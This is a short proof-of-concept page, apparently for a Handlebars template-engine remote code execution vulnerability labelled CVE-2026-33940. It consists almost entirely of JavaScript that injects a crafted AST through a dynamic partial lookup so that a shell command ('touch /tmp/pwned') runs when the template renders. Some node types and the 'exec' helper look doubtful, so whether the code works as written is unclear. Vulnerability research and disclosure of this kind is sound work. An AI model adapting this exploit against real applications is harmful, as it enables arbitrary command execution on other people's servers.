CVE-2026-33940 Handlebars模板引擎远程代码执行漏洞

const Handlebars = require('handlebars'); // 1. Create a malicious AST object representing arbitrary code execution // This object mimics the structure of a compiled Handlebars template const maliciousAST = { type: 'Program', body: [ { type: 'MustacheStatement', path: { type: 'Identifier', name: 'exec' }, params: [ { type: 'StringLiteral', value: 'touch /tmp/pwned', // Arbitrary command to execute original: 'touch /tmp/pwned' } ], loc: {} } ], loc: {} }; // 2. Prepare the context with the malicious object // The attacker controls the value returned by the dynamic partial lookup const context = { lookupKey: 'payload', payload: maliciousAST // Injecting the malicious AST }; // 3. Compile a template that uses dynamic partial lookup // {{> (lookup ...) }} retrieves the value from context and treats it as a partial const templateSrc = '{{> (lookup . "lookupKey")}}'; const template = Handlebars.compile(templateSrc); // 4. Render the template // This triggers the vulnerability: invokePartial calls env.compile(maliciousAST) // resulting in the execution of the command specified in the AST. console.log('Executing PoC...'); try { template(context); console.log('PoC executed successfully. Check /tmp/pwned'); } catch (e) { console.error('Error:', e); }